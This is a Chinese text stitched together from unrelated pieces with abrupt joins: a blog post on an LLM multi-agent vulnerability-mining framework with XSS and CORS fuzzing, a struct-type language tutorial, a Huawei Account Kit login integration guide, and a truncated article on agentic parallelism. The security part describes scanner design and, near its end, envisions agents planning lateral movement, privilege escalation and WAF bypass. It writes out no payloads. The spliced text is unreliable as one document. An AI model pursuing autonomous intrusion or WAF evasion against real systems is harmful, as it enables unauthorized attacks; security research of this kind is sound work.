在探索新的框架实现时,我们可以思考是否能将黑白盒的现有技术互补结合来引导漏洞挖掘?以及我们可以看到几年LLM与Agent相关技术如MCP、RAG的工程化落地,能否用LLM赋于框架更好的语义理解和丰富的上下文能力,再通过Agent做一套自动化流程?

为突破上述技术瓶颈,我在探索新的漏洞挖掘框架时也看了一些目前学术界的相关LLM赋能的研究与github开源的技术实现,总体的探索方法还是在论文与现实实践中思考各个方面的优势与缺陷,最终确定做一个基于Muti-Agent协同的智能化漏洞挖掘框架:构建一个从静态分析到动态验证的闭环生态。技术上引入MCP 来作为连接LLM推理能力与静态分析工具的桥梁,利用RAG 技术通过构建高质量漏洞专家知识库来校准模型判定,深度缓解LLM的“幻觉”与知识盲区;同时,结合运行时自动化的流量Fuzz模糊测试技术,将白盒的逻辑推演与黑盒的攻击验证深度融合,减少漏洞的误报和漏报。

这里放一个当时挖到的有CNVD证书的水洞,通过项目上传与聊天,自动化分析审计出多处SQL注入漏洞,并且能够给出攻击POC,以及后续完整的修复方案

image.png

0x02 框架核心:打破黑白盒壁垒

该框架核心架构旨在重构传统安全检测的边界,提出了一种 “白盒语义指引黑盒,黑盒动态验证白盒”的深度融合范式。框架并非单一工具的线性叠加,而是一个基于Multi-Agent编排(Agent Orchestration)的异构系统。

  • 白盒分析维度:框架引入了MCP作为智能体的执行接口,驱动底层的静态分析工具与正则匹配引擎,对代码AST进行初步扫描,快速锚定潜在的危险函数调用Sink。为解决静态分析中常见的上下文缺失问题,进一步融合了RAG 技术:通过引入高质量的博客记录的高精度漏洞知识库,系统能够为大语言模型提供特定漏洞类型的完备的Context上下文与判定依据,从而在保持高代码覆盖率的同时,抑制传统模式匹配带来的误报,实现了从“语法”到“语义”的代码的全面理解提升。
  • 黑盒验证维度:框架构建了运行时的自动化Fuzz模糊测试。该模块独立承担着对Web通用漏洞(如XSS、SQL注入)及敏感信息泄露的覆盖任务。当白盒Agent发现疑似逻辑漏洞时,通过黑盒上的Fuzz可在流量侧生成针对性的变异Payload进行动态优化,通过分析HTTP响应状态来实证漏洞的可利用性。

我认为将静态视角的逻辑推演与动态视角的攻击验证相结合的机制,能极大地提升了漏洞检测的置信度,实现了真正意义上的全链路攻防评估,刚开始时候画的大致架构草图,仅贴示了主要功能,一些细节实现并未展示:

image.png

0x03 智能化Agent设计细节

1. Static Orchestration Agent:基于MCP协议的异构工具编排

在传统的LLM应用中,模型往往被禁锢在文本交互的孤岛中,难以触及本地庞大的代码仓库,且面临着Context Window对海量代码理解的限制。本框架设计的漏洞定位Agent,本质上是一个 静态分析增强型智能体(Static Orchestration Agen) ,通过引入MCP与构建Prompt定义角色任务将LLM从被动的文本生成者转变为主动的工具使用者,通过静态分析获取代码结构中的丰富语义上下文

MCP驱动的“深层感知”

不同于简单的API调用,MCP协议使得Agent能够理解工具的输入输出Schema,实现复杂的推理链条:

  • 工具与模型的语义对齐:通过定义标准化的MCP接口,将底层的静态代码分析工具封装为LLM可调用的能力。
  • 意图驱动的执行:构造合适的CoT思维链Prompt让Agent根据当前的分析任务代码(例如“寻找未授权访问漏洞”),自主决策调用何种工具、传入何种参数。这可以让Agent模拟安全专家的思维过程,主动去探测代码中的漏洞点。

SINK点定位与攻击面收敛

针对LLM处理大规模代码时的“大海捞针”难题,高效定位漏洞利用链

  • SINK点精准锚定:Agent并不直接阅读全量代码,而是利用MCP驱动底层扫描器,基于AST解析和高精度的正则模式,快速提取代码中的SINK点(需要根据不同语言类型的不同漏洞进行扩充分类)

image.png

  • 代码切片与上下文聚焦:一旦定位到SINK点,系统会通过静态分析工具获取sink点污染的上下文Code Slice,并且做到变量语句级,将无关语句统统移除(这里详细的实现师傅们可以去阅读Joern等工具的源码和他的论文,主要在于CPG代码属性图的构建和后向切片等算法技术)。极大地收敛了分析范围,过滤大量无关业务代码,确保输送给LLM进行深度研判的每一行代码都具有潜在的安全价值(无论是控制流还是数据依赖流都对漏洞的存在有潜在的约束和影响)。这不仅大幅降低了Token消耗,更显著提升了后续漏洞验证的准确性。

2. Contextual Reasoning Agent:基于RAG的领域知识增强与检索优化

作为本框架保障检测精度的核心组件,校验 Contextual Reasoning Agent承担着“校验”的角色。针对通用大语言模型在特定安全领域存在的专业知识匮乏逻辑幻觉 问题,本模块引入RAG 技术,人为构建了一个可随时扩展的领域专家知识文档库,通过实时注入精确的先验知识来约束和校准模型的推理过程。

RAG知识库的结构化重构与向量化

为了让非结构化的安全知识能够被机器高效理解,摒弃粗暴的文本截断,采用基于Markdown语法树的结构化清洗策略。系统依据标题层级对海量的漏洞PoC、修复方案及原理分析文档进行逻辑切分,确保每个Chunk都包含完整的语义单元

例如一个简易的MARKDOWN文档:

image.png

动态滑窗与重叠分块策略

在知识切片过程中,为了规避硬切分导致的语义断层,切片策略采用基于重叠策略(Overlapping Strategy)的动态滑窗机制

  • 语义连贯性保障:设定固定的Token阈值作为基础窗口大小,同时引入预设比例的重叠缓冲区。每一分块的末尾段落会被完整保留并作为下一分块的起始上下文。
  • 边界信息无损传输:这种机制确保了跨越分块边界的逻辑描述(如一段跨越多行的代码逻辑或长难句的漏洞解释)不会被割裂,保证了向量检索时上下文信息的完整性与连贯性。

image.png

向量检索与推理运行

采用all-MiniLM-L6-v2模型作为Embedding引擎。该模型在保持低延迟推理的同时,在多语言的语义相似度任务上有更好的泛化能力;数据库采用集成Qdrant向量数据库,支撑大规模向量的高并发检索

  • 上下文感知的推理校准:当定位Agent上报疑似SINK点时,校验Agent会提取当前代码特征,在向量库中实时检索最相似的Top-K个历史漏洞模式和修复示例。这些检索结果被作为增强上下文 注入到LLM的Prompt中,迫使模型基于检索到的“事实依据”而非单纯的概率预测进行最终判定,减少了误报的产生

0x04 动态流量FUZZ

我从以往的安全研究触发,针对通用型漏洞的工具做了大量的调研,并基于BurpSuite原生API开发了自动化Fuzz工具如:反射性和存储型XSS、SSRF、CORS、敏感信息泄露等(同时也是在锻炼开发能力,也让日常重复性漏洞渗透工作能够做的更高效),再结合MCP集成给Agent。该模块并非简单的随机测试,而是作为一个流式检测组件,实时拦截、解析并重放业务流量,对潜在漏洞动态扫描。而对于敏感信息泄露则是比较容易 ,针对Spring Boot Actuator、Swagger UI、Druid Monitor等常见中间件的指纹来做识别。同时,结合模式匹配,对响应包中的JWT Token、阿里云AK/SK、AWS凭证等高熵字符串进行实时监测,有效发现硬编码或调试信息泄露。

下面挑了几个通用型漏洞的Fuzz来做简单做下原理解释

1. 通用XSS漏洞的自动化Fuzz

比如针对XSS反射型和存储型漏洞,开发时采用了全量参数解析+动态污点标记的检测策略,确保对异构http包结构中参数的全面覆盖。

  • 深度参数提取与结构化解析
    不仅仅局限于URL Query参数,还有针对JSON、XML、Multipart-form等多种数据格式的解析器。能够递归遍历HTTP Request Body中的每一层嵌套结构,提取所有用户可控的叶子节点作为Fuzz入口。
  • 唯一性污点标记
    为了解决并发扫描时的结果混淆问题,引擎摒弃了静态Payload,转而采用动态生成的唯一性测试标记


    • Payload构造:Timestamp + RandomStr + Vector(例如:CurrentTime等高熵字符串)
    • 状态映射表:内存中维护一张高并发的HashMap,记录RequestID <-> ParameterName <-> UniquePayload的映射关系。
    • 响应回显与验证
      发送测试请求后,引擎自动捕获HTTP Response,通过高效的字符串匹配算法检索之前的唯一标记。一旦检测到标记回显且上下文未经过滤(如HTML实体编码缺失),即判定存在可疑XSS漏洞,并自动关联原始请求数据生成漏洞条目。

(当时研究设计思路时绘制的草图)

image.png

2. 访问控制与配置缺陷的CORS漏洞检测

自动化Fuzz HTTP请求头中的Origin字段,构造包括恶意第三方域名、特殊字符(如null)及子域名在内的多种变异Payload

  • 高危利用判定:当响应头Access-Control-Allow-Origin和攻击者Payload一样或为小写null,且同时存在Access-Control-Allow-Credentials: true时,将其标记为高危漏洞。此类配置允许攻击者绕过同源策略(SOP)窃取用户敏感数据
  • 严格语法校验:针对协议规范的边缘场景进行校验,例如检测到Access-Control-Allow-Origin: Null(大写)时,引擎会自动识别其为无效配置(浏览器不识别大写Null),从而将其作为无效处理
    以及服务端错误配置导致Access-Control-Allow-Origin始终和Origin一样,这里放一张示例图便于理解:

image.png

0x05 构建认知型安全智能体的未来图景

在对Multi-Agent探索自动化漏洞挖掘实践的探索过程中,其实我们一直在试图回答一个核心问题:如何在安全攻防领域,构建一个具备“感知-推理-决策-行动”完整闭环的智能系统。目前的Agent主要还停留在“检测与验证”阶段,之后更完备的阶段是自动化环境的感知探索与白盒源码的结合,以及能够基于当前的Shell环境或数据库权限,自主规划后续的横向移动与权限提升路径。另一个重要的方面是自适应Payload生成:比如利用强化学习反馈机制,让Agent在面对WAF拦截时,能够动态调整Payload的混淆策略,实现智能化的WAF绕过

希望本文的实践能为各位师傅提供一种新的视角供师傅们交流指点~

struct类型的定义以关键字struct开头,后跟struct的名字,接着是定义在一对花括号中的struct定义体。struct定义体中可以定义一系列的成员变量、成员属性、静态初始化器、构造函数和成员函数。

定义struct类型

以下是定义struct类型的一个示例:

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

上例中定义了名为Rectangle的struct类型,它有两个Int64类型的成员变量width和height,一个有两个Int64类型参数的构造函数init,以及一个成员函数area,用于返回width和height的乘积。

1. struct成员变量

struct成员变量分为实例成员变量和静态成员变量(使用static修饰符修饰,且必须有初值),二者访问上的区别在于实例成员变量只能通过struct实例访问,静态成员变量只能通过struct类型名访问。

实例成员变量定义时可以不设置初值(但必须标注类型),如上例中的width和height。也可以设置初值,例如:

struct Rectangle {
    let width = 10
    let height = 20
}

2. struct静态初始化器

struct支持定义静态初始化器,并在静态初始化器中通过赋值表达式来对静态成员变量进行初始化。

静态初始化器以关键字组合static init开头,后跟无参参数列表和函数体,且不能被访问修饰符修饰。函数体中必须完成对所有未初始化的静态成员变量的初始化,否则编译报错。

struct Rectangle {
    static let degree: Int64
    static init() {
        degree = 180
    }
}

一个struct中最多允许定义一个静态初始化器,否则报重定义错误。

struct Rectangle {
    static let degree: Int64
    static init() {
        degree = 180
    }
    static init() { // 错误!用前面的静态init函数重新定义
        degree = 180
    }
}

3. struct构造函数

struct支持两类构造函数:普通构造函数和主构造函数。

普通构造函数以关键字init开头,后跟参数列表和函数体,函数体中必须完成对所有未初始化的实例成员变量的初始化,否则编译报错。

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64, height: Int64) { // 错误! 'height'未在构造函数中初始化
        this.width = width
    }
}

一个struct中可以定义多个普通构造函数,但它们必须构成重载,否则报重定义错误。

struct Rectangle {
    let width: Int64
    let height: Int64

    public init(width: Int64) {
        this.width = width
        this.height = width
    }

    public init(width: Int64, height: Int64) { // 正确!用第一个init函数重载
        this.width = width
        this.height = height
    }

    public init(height: Int64) { // 错误!使用第一个init函数重新定义
        this.width = height
        this.height = height
    }
}

除了可以定义若干普通的以init为名字的构造函数外,struct内还可以定义(最多)一个主构造函数。主构造函数的名字和struct类型名相同,它的参数列表中可以有两种形式的形参:普通形参和成员变量形参(需要在参数名前加上let或var),成员变量形参同时扮演定义成员变量和构造函数参数的功能。

使用主构造函数通常可以简化struct的定义,例如,上述包含一个init构造函数的Rectangle可以简化为如下定义:

struct Rectangle {
    public Rectangle(let width: Int64, let height: Int64) {}
}

主构造函数的参数列表中也可以定义普通形参,例如:

struct Rectangle {
    public Rectangle(name: String, let width: Int64, let height: Int64) {}
}

如果struct定义中不存在自定义构造函数(包括主构造函数),并且所有实例成员变量都有初始值,则会自动为其生成一个无参构造函数(调用此无参构造函数会创建一个所有实例成员变量的值均等于其初值的对象);否则,不会自动生成此无参构造函数。例如,对于如下struct定义,注释中给出了自动生成的无参构造函数:

struct Rectangle {
    let width: Int64 = 10
    let height: Int64 = 10
    /* Auto-generated memberwise constructor:
    public init() {
    }
    */
}

4. struct成员函数

struct成员函数分为实例成员函数和静态成员函数(使用static修饰符修饰),二者的区别在于:实例成员函数只能通过struct实例访问,静态成员函数只能通过struct类型名访问;静态成员函数中不能访问实例成员变量,也不能调用实例成员函数,但在实例成员函数中可以访问静态成员变量以及静态成员函数。

下例中,area是实例成员函数,typeName是静态成员函数。

struct Rectangle {
    let width: Int64 = 10
    let height: Int64 = 20

    public func area() {
        this.width * this.height
    }

    public static func typeName(): String {
        "Rectangle"
    }
}

实例成员函数中可以通过this访问实例成员变量,例如:

struct Rectangle {
    let width: Int64 = 1
    let height: Int64 = 1

    public func area() {
        this.width * this.height
    }
}

5. struct成员的访问修饰符

struct的成员,包括成员变量、成员属性、构造函数、成员函数、操作符函数,可以用4种访问修饰符修饰:private、internal、protected和public,缺省的修饰符是internal。

  • private表示在struct定义内可见。
  • internal表示仅当前包及子包内可见。
  • protected表示当前模块可见。
  • public表示模块内外均可见。

下面的例子中,width是public修饰的成员,在类外可以访问,height是缺省访问修饰符的成员,仅在当前包及子包可见,其他包无法访问。

package a
publicstructRectangle {
    public var width: Int64
    var height: Int64
    private var area: Int64
    ...
}

func samePkgFunc() {
    var r = Rectangle(10, 20)
    r.width = 8               // Ok: public 'width' can be accessed here
    r.height = 24             // Ok: 'height' has no modifier and can be accessed here
    r.area = 30               // 错误!, private 'area' can't be accessed here
}
package b
import a.*
main() {
    var r = Rectangle(10, 20)
    r.width = 8               // Ok: public 'width' can be accessed here
    r.height = 24             // 错误!, no modifier 'height' can't be accessed here
    r.area = 30               // 错误!, private 'area' can't be accessed here
}

6. 禁止递归struct

递归和互递归定义的struct均是非法的。例如:

struct R1 { // 错误!'R1' 递归引用自身
    let other: R1
}
struct R2 { // 错误!'R2' 和 'R3' 递归引用自身
    let other: R3
}
struct R3 { // 错误!'R2' 和 'R3' 递归引用自身
    let other: R2
}

创建struct实例

定义了struct类型后,即可通过调用struct的构造函数来创建struct实例。在struct定义之外,通过struct类型名调用构造函数。例如,下例中定义了一个Rectangle类型的变量r。

let r = Rectangle(10, 20)

创建了struct实例之后,可以通过实例访问它的(public修饰的)实例成员变量和实例成员函数。例如,下例中通过r.width和r.height可分别访问r中width和height的值,通过r.area()可以调用r的成员函数area。

let r = Rectangle(10, 20)
let width = r.width   // width = 10
let height = r.height // height = 20
let a = r.area()      // a = 200

如果希望通过struct实例去修改成员变量的值,需要将struct类型的变量定义为可变变量,并且被修改的成员变量也必须是可变成员变量(使用var定义)。举例如下:

struct Rectangle {
    public var width: Int64
    public var height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

main() {
    var r = Rectangle(10, 20) // r.width = 10, r.height = 20
    r.width = 8               // r.width = 8
    r.height = 24             // r.height = 24
    let a = r.area()          // a = 192
}

在赋值或传参时,会对struct实例进行复制,生成新的实例,对其中一个实例的修改并不会影响另外一个实例。以赋值为例,下面的例子中,将r1赋值给r2之后,修改r1的width和height的值,并不会影响r2的width和height值。

struct Rectangle {
    public var width: Int64
    public var height: Int64

    public init(width: Int64, height: Int64) {
        this.width = width
        this.height = height
    }

    public func area() {
        width * height
    }
}

main() {
    var r1 = Rectangle(10, 20) // r1.width = 10, r1.height = 20
    var r2 = r1                // r2.width = 10, r2.height = 20
    r1.width = 8               // r1.width = 8
    r1.height = 24             // r1.height = 24
    let a1 = r1.area()         // a1 = 192
    let a2 = r2.area()         // a2 = 200
}

mut函数

struct类型是值类型,其实例成员函数无法修改实例本身。例如,下例中,成员函数g中不能修改成员变量i的值。

struct Foo {
    var i = 0

    public func g() {
        i += 1  // 错误!无法在实例成员函数中修改实例成员变量的值
    }
}

mut函数是一种可以修改struct实例本身的特殊的实例成员函数。在mut函数内部,this的语义是特殊的,这种this拥有原地修改字段的能力。

:只允许在interface、struct和struct的扩展内定义mut函数,禁止在class中定义mut函数。

mut函数与普通的实例成员函数相比,多一个mut关键字来修饰。

例如,下例中在函数g之前增加mut修饰符之后,即可在函数体内修改成员变量i的值。

struct Foo {
    var i = 0

    public mut func g() {
        i += 1  // 正确
    }
}

参考引用

背景

在开发“智能带办”应用时涉及到用户体系,开发阶段使用固定验证码形式跑通,在上线前准备接入短信服务时却遇到了难题,短信服务目前只对企业开发者开放了,个人开发者没办法再使用短信服务。为了顺利上架,退后求其次,改为了使用邮箱验证码等了。

邮箱验证码登录有两个弊端,一是不方便,很多用户进来发现是邮箱验证码登录不方便直接就退出应用了;二是合规风险,在申请安全评估报告时如果涉及到用户体系要求实名,邮箱没办法保证实名,还得再加入额外的实名体系,不仅麻烦而且很多都限制个人开发者没法使用。

其实最开始也考虑过要接入华为登录,看了一键登录文档发现也是只针对企业开发者,以为也是只有企业开发者可以使用,后面看了“华为账号登录”后发现个人开发者也可以使用,只是取不到手机号,正好不使用手机号可以规避合规方面的风险。
image.png

华为登录能力介绍

华为账号服务简介

Account Kit(华为账号服务)提供简单、快速、安全的登录功能,让用户快捷地使用华为账号登录应用。用户授权后,Account Kit可提供头像、昵称、手机号码等信息,帮助应用更了解用户。华为账号服务提供了登录、获取华为账号用户信息、未成年模式等。在开发过程中涉及下面几个概念:

  • OpenID:应用维度用户标识符,是华为账号用户在应用/元服务的唯一标识。不同应用/元服务(不管是否在同一个开发者账号下)获取到用户的OpenID不同。
  • UnionID:开发者维度用户标识符,华为账号用户同一开发者账号下的唯一标识。开发者有多个应用/元服务时,同一个开发者账号下的应用/元服务获取到用户的UnionID相同。
  • GroupUnionID:关联主体账号组维度用户标识符,是华为账号用户在关联主体账号组内的唯一标识。不同开发者账号加入同一关联主体账号组后,其组内所有开发者的应用/元服务获取到用户的GroupUnionID相同。
  • permission:数据或接口权限,通过该权限判断应用是否能获取对应数据或调用对应接口。
  • scopes:scope列表,用于获取用户数据。开发者向华为账号服务申请不同类型用户数据的标识。比如头像昵称(profile)、匿名手机号(quickLoginAnonymousPhone)等。
  • Authorization Code:授权码,用户使用华为账号登录成功之后,可通过返回的凭据解析出授权码,通过授权码可获取Access Token、Refresh Token、ID Token等。
  • Access Token:访问凭证,是访问被权限管控资源的应用级凭证。可使用Access Token调用获取用户信息接口获取用户信息。
  • ID Token:用户身份凭证,是OIDC (OpenID Connect) 协议相对于OAuth 2.0 协议扩展的一个用户身份凭证,包含用户信息。用户使用华为账号登录成功之后,可通过返回的凭据解析出Authorization Code、ID Token等数据。

在我们接口华为用户服务后,可以使用OpenId和UnionID绑定我们自己的账号体系。

华为账号服务交互流程

由于个人开发者无法使用“一键登录”,本文主要介绍 “华为账号登录”按钮登录。使用按钮登录我们可以使用Account Kit提供的华为账号登录按钮及服务端交互获取华为账号用户身份标识UnionID、OpenID,通过UnionID、OpenID完成用户登录;或者与应用账号完成绑定,绑定后用于登录或者验证。

华为账号登录按钮包含文本、标志和文本、标志三种样式,以满足应用对界面风格一致性和灵活性的要求。
image.png

账号服务开发者与华为能力交互流程如下图所示:
image.png

交互流程说明如下:
流程说明:

  1. 调用登录按钮展示登录页阶段(序号1-3):

    1. 用户打开应用进行登录,应用设置LoginType类型为LoginType.ID后拉起应用自己的登录页并展示“华为账号登录”按钮,用户点击按钮,请求华为账号授权信息。
  2. 用户点击登录阶段(序号4-6):

    1. 如华为账号未登录,将拉起华为账号登录页,用户登录后,将返回Authorization Code等数据给应用。
    2. 如华为账号已登录,将直接返回Authorization Code等数据给应用。
  3. 用户关联应用账号阶段(序号7-16):

    1. 应用服务端通过Authorization Code获取到Access Token,再使用Access Token调用解析凭证接口获取用户相关信息。通过Authorization Code凭证获取用户信息可以有效避免黑客通过数据遍历、身份伪造、重放攻击等手段导致的安全风险。
    2. 应用服务端将业务登录凭证SessionId、UnionID/OpenID传给应用,应用获取到UnionID/OpenID可用于判断华为账号是否登录等功能。
    3. 应用对用户身份标识UnionID/OpenID、业务登录凭证SessionId信息进行认证后,通过UnionID/OpenID判断用户是否已关联应用系统数据库,如已关联,则完成用户登录;如未关联,则创建新用户,绑定UnionID/OpenID。

华为账号服务提供了LoginWithHuaweiIDButton组件,构造中需要传入LoginWithHuaweiIDButtonParams类型和 LoginWithHuaweiIDButtonController类型的参数,LoginWithHuaweiIDButtonParams属性如下:

名称类型只读可选说明
styleStyleLoginWithHuaweiIDButton组件的样式。支持样式包括:BUTTON_RED、BUTTON_WHITE、BUTTON_WHITE_OUTLINE、BUTTON_BLACK、ICON_RED、ICON_WHITE、ICON_WHITE_OUTLINE、ICON_BLACK、ICON_GRAY、BUTTON_GRAY、BUTTON_CUSTOM。
borderRadiusnumber按钮边框圆角半径。取值范围:[0,+∞),值小于0时,按0处理。默认值:height属性取值的一半。单位:vp。
iconRadiusnumberIcon类型按钮的半径。取值范围:[0,+∞),值小于0时,按0处理。默认值:24。单位:vp。
supportDarkModeboolean表示按钮的样式是否随系统深浅色模式变化。true:按钮的样式会随着系统深浅色模式变化。false:按钮的样式不会随着系统深浅色模式变化。默认值:true。
loginTypeLoginType华为账号登录类型。默认值:LoginType.ID。一键登录请使用LoginType.QUICK_LOGIN。
textAndIconStyleboolean是否展示图文混合样式的华为账号登录按钮。true:按钮支持Icon和文字混合样式。false:按钮仅支持文本样式。默认值:false。当loginType不等于LoginType.QUICK_LOGIN且style等于BUTTON_RED、BUTTON_WHITE、BUTTON_WHITE_OUTLINE、BUTTON_BLACK、BUTTON_GRAY时该参数生效。起始版本:5.0.0(12)
customButtonParamsCustomButtonParamsBUTTON_CUSTOM按钮样式参数。起始版本:5.0.0(12)
verifyPhoneNumberboolean华为账号用户在过去90天内未进行短信验证,是否拉起Account Kit提供的短信验证码页面。true:拉起Account Kit提供的短信验证码页面。false:不拉起Account Kit提供的短信验证码页面。需要应用验证手机号时效性。默认值:true。起始版本:5.0.0(12)
extraStyleExtraStyle如果应用想使用华为账号提供的固定样式之外的效果,可使用此接口自定义按钮样式。起始版本:5.0.0(12)
loginButtonTextTypeLoginButtonTextType当loginType为LoginType.QUICK_LOGIN时,可传入此参数,控制按钮文本内容显示。默认值:LoginButtonTextType.QUICK_LOGIN。当该参数为LoginButtonTextType.QUICK_LOGIN时,按钮文本内容显示“华为账号一键登录”。当该参数为LoginButtonTextType.QUICK_REGISTRATION时,按钮文本内容显示“华为账号一键注册”。起始版本:5.0.0(12)
riskLevelboolean是否需要获取华为账号用户风险等级。仅登录类型为LoginType.QUICK_LOGIN时需要设置该参数。true:需要获取用户风险等级。false:不获取用户风险等级。默认值:false。起始版本:5.1.0(18)
securityVerificationboolean用户开启华为账号一键登录增强身份验证后,应用会在登录过程中通过华为账号使用生物识别或短信进行身份验证。如果需要获取用户一键登录增强身份验证的开关状态,需设置该字段为false。仅登录类型为LoginType.QUICK_LOGIN时需要设置该参数。true:响应结果HuaweiIDCredential将不会返回 enableSecurityVerification。false:响应结果HuaweiIDCredential将返回 enableSecurityVerification。默认值:true。起始版本:6.0.0(20)

智能带办接入过程

目前应用只支持华为登录,页面UI如下:
image.png

在页面中配置红色的LoginWithHuaweiIDButton:

LoginWithHuaweiIDButton({  
    params: {  
      // LoginWithHuaweiIDButton支持的样式  
      style: loginComponentManager.Style.BUTTON_RED,  
      // 账号登录按钮在登录过程中展示加载态  
      extraStyle: {  
        buttonStyle: new loginComponentManager.ButtonStyle().loadingStyle({  
          show: true  
        })  
      },  
      // LoginWithHuaweiIDButton的边框圆角半径  
      borderRadius: 24,  
      // LoginWithHuaweiIDButton支持的登录类型  
      loginType: loginComponentManager.LoginType.ID,  
      // LoginWithHuaweiIDButton支持按钮的样式跟随系统深浅色模式切换  
      supportDarkMode: true  
    },  
    controller: this.controller  
  })  
}  
.height(40)  
.width('100%')  
.margin({top:50})  
.padding({left:25, right:25})

控制器controller定义如下:

controller: loginComponentManager.LoginWithHuaweiIDButtonController =  
  new loginComponentManager.LoginWithHuaweiIDButtonController()  
    .setAgreementStatus(loginComponentManager.AgreementStatus.NOT_ACCEPTED)  
    .onClickLoginWithHuaweiIDButton((error: BusinessError, response: loginComponentManager.HuaweiIDCredential) => {  
      if (error) {  
        this.dealAllError(error);  
        return;  
      }  
  
      if (response) {  
        Logger.i(TAG, 'Succeeded in getting response.');  
        const authCode = response.authorizationCode;  
        // 开发者处理authCode  
        this.getUserInfoPermission(authCode)  
      }  
    });

在controller中获取回调,如果登录成功则通过authorizationCode继续申请用户华为头像和昵称授权:

getUserInfoPermission(authCode:string){  
  // 创建授权请求,并设置参数  
  const authRequest = new authentication.HuaweiIDProvider().createAuthorizationWithHuaweiIDRequest();  
  // 获取头像昵称需要传如下scope  
  authRequest.scopes = ['profile'];  
  // 若开发者需要进行服务端开发以获取头像昵称,则需传如下permission获取authorizationCode  
  authRequest.permissions = ['serviceauthcode'];  
  // 用户是否需要登录授权,该值为true且用户未登录或未授权时,会拉起用户登录或授权页面  
  authRequest.forceAuthorization = true;  
  // 用于防跨站点请求伪造  
  authRequest.state = util.generateRandomUUID();  
  // 执行授权请求  
  try {  
    const controller = new authentication.AuthenticationController(this.getUIContext().getHostContext());  
    controller.executeRequest(authRequest).then((data) => {  
      const authorizationWithHuaweiIDResponse = data as authentication.AuthorizationWithHuaweiIDResponse;  
      const state = authorizationWithHuaweiIDResponse.state;  
      if (state && authRequest.state !== state) {  
        Logger.i(TAG, `Failed to authorize. The state is different, response state: ${state}`);  
        return;  
      }  
      Logger.i(TAG,'Succeeded in authentication.');  
      const authorizationWithHuaweiIDCredential = authorizationWithHuaweiIDResponse?.data;  
      const avatarUri = authorizationWithHuaweiIDCredential?.avatarUri;  
      const nickName = authorizationWithHuaweiIDCredential?.nickName;  
      // 开发者处理avatarUri, nickName  
      const authorizationCode = authorizationWithHuaweiIDCredential?.authorizationCode;  
      Logger.i(TAG, 'getUserInfoPermission:' + JsonUtils.toJSONString(authorizationWithHuaweiIDCredential))  
      this.sendLoginRequest(authorizationCode??authCode)  
      // 涉及服务端开发以获取头像昵称场景,开发者处理authorizationCode  
    }).catch((err: BusinessError) => {  
      this.dealAllError(err);  
    });  
  } catch (error) {  
    this.dealAllError(error);  
  }  
}

用户授权成功后请求服务端接口,服务端通过authorizationCode调用华为服务获取accessToken,接着获取用户信息,绑定自己的账号体系返回自己账号体系的token即可。通过下面接口获取用户级凭证:

POST /oauth2/v3/token HTTP/1.1
Host: oauth-login.cloud.huawei.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=<code>&client_id=<client_id>&client_secret=<client_secret>

接着通过下面示例获取用户昵称和头像:

POST /rest.php?nsp_svc=GOpen.User.getInfo HTTP/1.1
Host: account.cloud.huawei.com
Content-Type: application/x-www-form-urlencoded

access_token=<Access Token>

必须在手机上调起授权获取用户授权后这里才可以请求到用户头像和昵称。

总结

本次“智能带办”应用的登录体系接入实践,源于上线前短信服务仅对企业开发者开放的限制,迫使我们从固定验证码、邮箱验证码转向华为账号登录方案。初期因误判“一键登录”仅限企业开发者而忽略“华为账号登录”,后发现个人开发者虽无法获取手机号,但恰好规避了邮箱登录的用户体验差(用户因不便退出)与实名合规风险(需额外实名体系),成为关键破局点。

华为账号服务(Account Kit)通过OpenID(应用唯一标识)、UnionID(开发者唯一标识)等核心概念,为个人开发者提供了安全高效的登录能力:既支持自定义样式的登录按钮(如本文配置的红色BUTTON_RED按钮),又通过Authorization CodeAccess Token→用户信息的流程保障安全,避免身份伪造等风险。接入过程中,我们通过LoginWithHuaweiIDButton组件实现前端交互,结合服务端解析凭证绑定自有账号体系,最终完成用户登录闭环。

此次实践的核心启示在于:面对企业级服务限制时,需深度挖掘平台对个人开发者的差异化能力——华为账号登录虽不提供手机号,却以“去实名化”特性解决了合规痛点,同时依托成熟的OAuth 2.0/OIDC协议与丰富组件(如支持深色模式、自定义圆角的按钮),兼顾了开发效率与用户体验。未来,可进一步探索UnionID在多应用间的用户打通能力,或结合GroupUnionID拓展关联主体场景,持续完善登录体系的灵活性与扩展性。

本系列介绍增强现代智能体系统可靠性的设计模式,以直观方式逐一介绍每个概念,拆解其目的,然后实现简单可行的版本,演示其如何融入现实世界的智能体系统。本系列一共 14 篇文章,这是第 14 篇。原文:Building the 14 Key Pillars of Agentic AI

优化智能体解决方案需要软件工程确保组件协调、并行运行并与系统高效交互。例如预测执行,会尝试处理可预测查询以降低时延,或者进行冗余执行,即对同一智能体重复执行多次以防单点故障。其他增强现代智能体系统可靠性的模式包括:

  • 并行工具:智能体同时执行独立 API 调用以隐藏 I/O 时延。
  • 层级智能体:管理者将任务拆分为由执行智能体处理的小步骤。
  • 竞争性智能体组合:多个智能体提出答案,系统选出最佳。
  • 冗余执行:即两个或多个智能体解决同一任务以检测错误并提高可靠性。
  • 并行检索和混合检索:多种检索策略协同运行以提升上下文质量。
  • 多跳检索:智能体通过迭代检索步骤收集更深入、更相关的信息。

还有很多其他模式。

本系列将实现最常用智能体模式背后的基础概念,以直观方式逐一介绍每个概念,拆解其目的,然后实现简单可行的版本,演示其如何融入现实世界的智能体系统。

所有理论和代码都在 GitHub 仓库里:🤖 Agentic Parallelism: A Practical Guide 🚀

代码库组织如下:

agentic-parallelism/
    ├── 01_parallel_tool_use.ipynb
    ├── 02_parallel_hypothesis.ipynb
    ...
    ├── 06_competitive_agent_ensembles.ipynb
    ├── 07_agent_assembly_line.ipynb
    ├── 08_decentralized_blackboard.ipynb
    ...
    ├── 13_parallel_context_preprocessing.ipynb
    └── 14_parallel_multi_hop_retrieval.ipynb

深度推理的多跳检索

许多复杂的用户查询并非单一问题,而是比较性的、多步骤的调研任务,需要从多个不同来源的文档中综合信息。

并行多跳

解决方案是 并行多跳检索(Parallel Multi-Hop Retrieval) 架构,这种模式将 RAG 系统提升为真正的调研代理,工作流模拟人类研究员如何处理复杂问题的过程:

  1. 分解(Decompose):高级元代理首先分析复杂的用户查询,将其分解为几个更简单、独立的子问题。
  2. 分散(并行检索):每个子问题都被派发给各自的专用检索代理。这些代理并行运行,每个代理执行标准 RAG 流程,为特定子问题寻找答案。
